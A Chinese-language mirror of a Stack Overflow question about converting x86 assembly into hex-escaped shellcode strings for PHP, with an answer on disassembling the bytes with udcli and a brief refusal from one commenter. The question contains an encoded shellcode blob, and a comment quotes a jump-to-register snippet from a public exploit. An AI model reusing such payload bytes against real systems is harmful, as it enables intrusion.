【问题标题】:How to Convert ASM Code(opcodes) To String如何将 ASM 代码(操作码)转换为字符串
【发布时间】:2013-02-04 19:45:37
【问题描述】:

如何在 PHP 中将汇编代码转换为这样的字符串:

$shellcode =
"\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4".
"\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1".
"\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed".
"\x7f\x73\x31\xa5\x1a\x76\x7a\x3d\x58\xc3\x7a\xd0\xf3\x86\x70\xa9".
"\xf5\x85\x51\x50\xcf\x13\x9e\xa0\x81\xa2\x31\xfb\xd0\x46\x51\xc2".
"\x7f\x4b\xf1\x2f\xab\x5b\xbb\x4f\x7f\x5b\x31\xa5\x1f\xce\xe6\x80".
"\xf0\x84\x8b\x64\x90\xcc\xfa\x94\x71\x87\xc2\xa8\x7f\x07\xb6\x2f".
"\x84\x5b\x17\x2f\x9c\x4f\x51\xad\x7f\xc7\x0a\xa4\xf4\x47\x31\xcc".
"\xc8\x18\x8b\x52\x94\x11\x33\x5c\x77\x87\xc1\xf4\x9c\xb7\x30\xa0".
"\xab\x2f\x22\x5a\x7e\x49\xed\x5b\x13\x24\xdb\xc8\x97\x47\xba\xa4";

我猜这是用 HEX 编写的 asm 代码的操作码。但是如果是这样,我怎样才能转换像这些字符串这样的 asm 代码呢?

【问题讨论】:

  • 这不是汇编代码。这是一系列以 ASCII 格式以十六进制格式写入的字节。您是要反汇编还是要将每个十六进制值转换为相应的 ASCII 或 UTF-8 字符?

标签: string assembly x86 disassembly opcodes


【解决方案1】:

如果不需要使用 PHP,这可以在 Linux 控制台中使用例如。 udcli udis86 disassembler library 附带的反汇编程序。您可以查看我对Disassembling file that contain big data or is compressed 的回复。

对于您的这种特殊情况,使用例如。 sed 很好地将数据转换为udcli 可以使用的格式:

$ echo '\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4". "\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1". "\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed". "\x7f\x73\x31\xa5\x1a\x76\x7a\x3d\x58\xc3\x7a\xd0\xf3\x86\x70\xa9". "\xf5\x85\x51\x50\xcf\x13\x9e\xa0\x81\xa2\x31\xfb\xd0\x46\x51\xc2". "\x7f\x4b\xf1\x2f\xab\x5b\xbb\x4f\x7f\x5b\x31\xa5\x1f\xce\xe6\x80". "\xf0\x84\x8b\x64\x90\xcc\xfa\x94\x71\x87\xc2\xa8\x7f\x07\xb6\x2f". "\x84\x5b\x17\x2f\x9c\x4f\x51\xad\x7f\xc7\x0a\xa4\xf4\x47\x31\xcc". "\xc8\x18\x8b\x52\x94\x11\x33\x5c\x77\x87\xc1\xf4\x9c\xb7\x30\xa0". "\xab\x2f\x22\x5a\x7e\x49\xed\x5b\x13\x24\xdb\xc8\x97\x47\xba\xa4";"' | sed 's/\\x/ /g' | sed 's/"//g' | sed 's/\.//g' | sed 's/;//g' | udcli -x -32

【讨论】:

  • 请看这个:exploit-db.com/exploits/5536 -- 他说:$scode = "\x66\x83\xC0\x04\xFF\xE0"; /*ADD EAX, 4 => JMP EAX*/ 但是他是如何将 asm 代码转换为 \x...\x... 的呢? - 实际上我想为内联 asm 执行此操作,但我不知道如何转换。谢谢..
  • 我认为您尝试使用 PHP 脚本利用远程服务器没有合法目的。如果您是一名系统管理员,想要合法地测试您自己服务器的漏洞,我假设您对组装、反汇编、十六进制转储和正则表达式有足够的了解,您不需要询问如何组装 x86 汇编代码和制作十六进制转储以适合 PHP 的格式保存二进制文件。在此尝试中我无法帮助您。
  • 感谢您的回复。我只是想就我的问题举一个明显的例子。我当然不会编写漏洞利用代码,但我将使用它来修补二进制文件以用于个人目的。 ..无论如何我找到了解决方案! :corelan.be/index.php/2010/02/25/…。谢谢大家
猜你喜欢
  • 1970-01-01
  • 2020-02-02
  • 2020-06-13
  • 2011-12-06
  • 2011-04-07
  • 2018-11-13
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多